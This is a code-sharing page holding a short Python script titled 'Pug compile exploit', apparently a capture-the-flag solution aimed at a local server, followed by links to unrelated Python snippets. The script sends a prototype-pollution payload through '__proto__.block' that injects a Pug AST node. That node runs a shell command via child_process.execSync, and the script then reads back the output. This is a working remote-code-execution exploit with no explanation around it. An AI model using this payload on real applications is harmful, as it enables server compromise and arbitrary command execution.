Pug compile exploit

import requests

ENDPOINT = 'http://127.0.0.1:1337/api/submit'
OUTPUT = 'http://127.0.0.1:1337/static/out'

request = requests.post(ENDPOINT, json = {
   "artist.name":"Gingell",
       "__proto__.block": {
           "type":"Text",
           "line":"process.mainModule.require('child_process').execSync('ls > /app/static/out')"
       }
})
print (request.text)
print (requests.get(OUTPUT).text)

Similar codes

9 votes131 views2 answers
Run linux command using python
Python
0 vote134 views1 answer
Remove rows from a dataframe that are present in another dataframe?
Python
11 votes139 views6 answers
How to check the size of a file in python
Python
19 votes137 views3 answers
Convert a list ['Pythons syntax is easy to learn', 'Pythons syntax is very clear'] to a string using ‘&’.
Python
0 vote161 views1 answer
Python matplotlib plot thickness
Python
-1 vote141 views2 answers
Coin flip numpy
Python
0 vote146 views1 answer
Identify the common columns between two dataframes pandas python
Python
0 vote157 views1 answer
Python plot arrays from matrix
Python
101 votes148 views6 answers
Reverse list python
Python
2 votes158 views1 answer
Validate IP Address
Python